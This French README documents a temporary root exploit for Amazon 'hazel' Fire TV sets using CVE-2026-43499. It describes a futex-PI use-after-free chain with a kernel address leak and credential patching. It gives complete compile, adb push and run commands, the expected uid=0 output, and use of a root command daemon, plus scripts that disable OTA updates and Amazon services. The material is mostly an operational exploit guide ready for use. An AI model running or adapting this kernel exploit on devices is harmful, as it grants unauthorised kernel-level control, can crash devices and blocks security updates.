
Exploit racine temporaire spécifique au firmware pour Toshiba/Amazon Fire TV (hazel) utilisant CVE-2026-43499. Implémente une UAF futex-PI ARM32, une fuite d'adresse du noyau, une récupération de mm_struct et un patchage des credentials pour obtenir l'UID 0 via ADB.
Exploit de root temporaire pour la plateforme Amazon hazel Fire TV, basé sur
CVE-2026-43499. L'exploit est destiné au firmware ARM32
Linux 4.9 partagé par les téléviseurs Hazel de plusieurs fabricants.
Les profils couvrent actuellement les firmwares de PS7657.3645N à PS7716.5665N.
La configuration actuellement testée sur matériel est :
| Appareil | Toshiba Fire TV (hazel) |
| Build Fire OS | PS7716.5665N |
| Noyau | Linux 4.9.113 |
| Modèle produit | AFTHA004 (C350) |
[!WARNING] Cet exploit reste spécifique au firmware même s'il prend en charge plusieurs versions de Hazel. Les adresses du noyau, les offsets de structures et les paramètres de reclaim sont chargés depuis des profils stricts.
PS7716.5665Nest testé sur matériel ; les profils plus anciens fournis sont basés sur une analyse statique du firmware et nécessitent encore des retours de téléviseurs correspondants.Ne contournez pas la correspondance des profils et ne copiez pas manuellement des adresses vers un firmware non apparenté. Les profils générés statiquement nécessitent toujours une confirmation sur le matériel correspondant.
Un échec de reclaim du tas peut provoquer un panic et redémarrer le téléviseur. Le root est temporaire et est perdu après redémarrage. Si votre téléviseur se fige, vous pouvez toujours le redémarrer en le débranchant.
L'exploit utilise CVE-2026-43499 pour obtenir temporairement l'UID 0 depuis l'environnement shell ADB normal.
La chaîne d'exploitation comprend :
mm_structAprès une exécution réussie, l'exploit maintient en vie les objets du noyau requis par le chemin root et démarre un démon de commandes local.
SELinux reste Enforcing. Les commandes exécutées via le démon root conservent le domaine SELinux shell et l'ensemble de capacités disponibles sur ce firmware.
hazel_root.c exploit principal, étape de lecture/écriture du noyau, patch des credentials et client/serveur de commandes roothazel_reclaim.h fuite d'adresses du noyau et reclaim cross-cache de mm_structhazel_profile.c, hazel_profile.h parseur de profils stricts et matcher d'exécutionprofiles/ profils de firmware revus et généréstools/profile_creator/ analyseur de firmware Python/uv et créateur de profils compatiblestools/device_scripts/ utilitaires optionnels pour OTA, services Amazon et launcherLes exemples ci-dessous supposent Linux et que adb est disponible dans $PATH.
Définissez NDK sur le répertoire de votre Android NDK r27d :
export NDK=/path/to/android-ndk-r27d
Puis compilez :
"$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/clang" \
--target=armv7a-linux-androideabi28 \
-O2 -g0 -Wall -Wextra -Wpedantic -fPIE -pie \
hazel_root.c hazel_profile.c -o hazel_root \
-pthread
Connectez-vous au téléviseur à l'aide d'ADB.
Si vous utilisez ADB réseau :
adb connect <TV_IP>:5555
Poussez l'exploit :
adb shell mkdir -p /data/local/tmp/profiles
adb push hazel_root /data/local/tmp/hazel_root
adb shell chmod 755 /data/local/tmp/hazel_root
adb push profiles/. /data/local/tmp/profiles/
Vérifier la sélection du profil sans déclencher l'exploit :
adb shell 'cd /data/local/tmp && ./hazel_root --check-profile'
Le chargeur exige des correspondances exactes pour ro.product.device, l'empreinte de build, la version incrémentale, la version du noyau et l'architecture. Il refuse les profils malformés, les champs inconnus, les chemins d'exploit non pris en charge, les correspondances manquantes et les profils à correspondances multiples. Un profil explicite peut être vérifié avec :
adb shell 'cd /data/local/tmp && ./hazel_root --check-profile --profile profiles/PROFILE.conf'
Démarrer à partir d'un démarrage propre :
adb shell 'cd /data/local/tmp && ./hazel_root'
Une exécution réussie se termine par une sortie similaire à :
[root] uid=0 euid=0 gid=0
[ROOT] uid=0 daemon pid=... socket=@hazel_root
La récupération est probabiliste. Une tentative infructueuse peut échouer proprement ou provoquer un panic et redémarrer le téléviseur.
Si le téléviseur redémarre, laissez-le démarrer normalement et réessayez.
Une fois l'exploit réussi, ne lancez pas une autre copie. Vous pouvez fermer le processus en cours d'exécution et passer aux commandes suivantes.
Le même binaire agit comme client pour le démon root :
adb shell 'cd /data/local/tmp && ./hazel_root --client id'
Par exemple :
adb shell 'cd /data/local/tmp && ./hazel_root --client getenforce'
adb shell 'cd /data/local/tmp && ./hazel_root --client cat /proc/self/status'
adb shell 'cd /data/local/tmp && ./hazel_root --client "id; uname -a"'
Une commande root réussie doit rapporter :
uid=0(root) gid=0(root) context=u:r:shell:s0
Notez que l'UID 0 ne contourne pas SELinux. SELinux reste en mode Enforcing.
Poussez et exécutez tools/device_scripts/disable_ota.sh via le démon root :
adb push tools/device_scripts/disable_ota.sh /data/local/tmp/disable_ota.sh
adb shell chmod 755 /data/local/tmp/disable_ota.sh
adb shell 'cd /data/local/tmp && ./hazel_root --client "sh /data/local/tmp/disable_ota.sh"'
Le script désactive les deux paquets OTA de Fire OS, efface l'état de mise à jour en attente et vérifie l'état résultant du Package Manager. Il ne redémarre pas la TV.
tools/device_scripts/disable_amazon_services.sh désactive le proxy de configuration à distance Arcus, le service de blocage d'applications ADEP, la reconnaissance automatique de contenu (ACR) et les paquets de métriques Amazon dédiés présents sur le firmware Hazel testé. L'ACR est désactivé et ses données stockées sont effacées, mais son APK système en lecture seule n'est pas supprimé, ce qui rend l'opération réversible. Le script ne désactive pas CrashManager ni les paquets de journalisation de bas niveau, de sorte que les diagnostics de panique du noyau et Dropbox restent disponibles pendant le développement ou le dépannage de l'exploit.
Poussez le script et exécutez-le via le démon root :
adb push tools/device_scripts/disable_amazon_services.sh /data/local/tmp/disable_amazon_services.sh
adb shell chmod 755 /data/local/tmp/disable_amazon_services.sh
adb shell 'cd /data/local/tmp && ./hazel_root --client "sh /data/local/tmp/disable_amazon_services.sh"'
Afficher l'état actuel sans rien modifier :
adb shell 'cd /data/local/tmp && ./hazel_root --client "sh /data/local/tmp/disable_amazon_services.sh status"'
Restaurez les paquets plus tard si nécessaire :
adb shell 'cd /data/local/tmp && ./hazel_root --client "sh /data/local/tmp/disable_amazon_services.sh restore"'
L'état activé ou désactivé du package survit normalement à un redémarrage. La restauration des packages ne restaure pas les données du package effacées lors de leur désactivation.
Les scripts du lanceur se trouvent également dans tools/device_scripts/. Pour sélectionner Projectivy :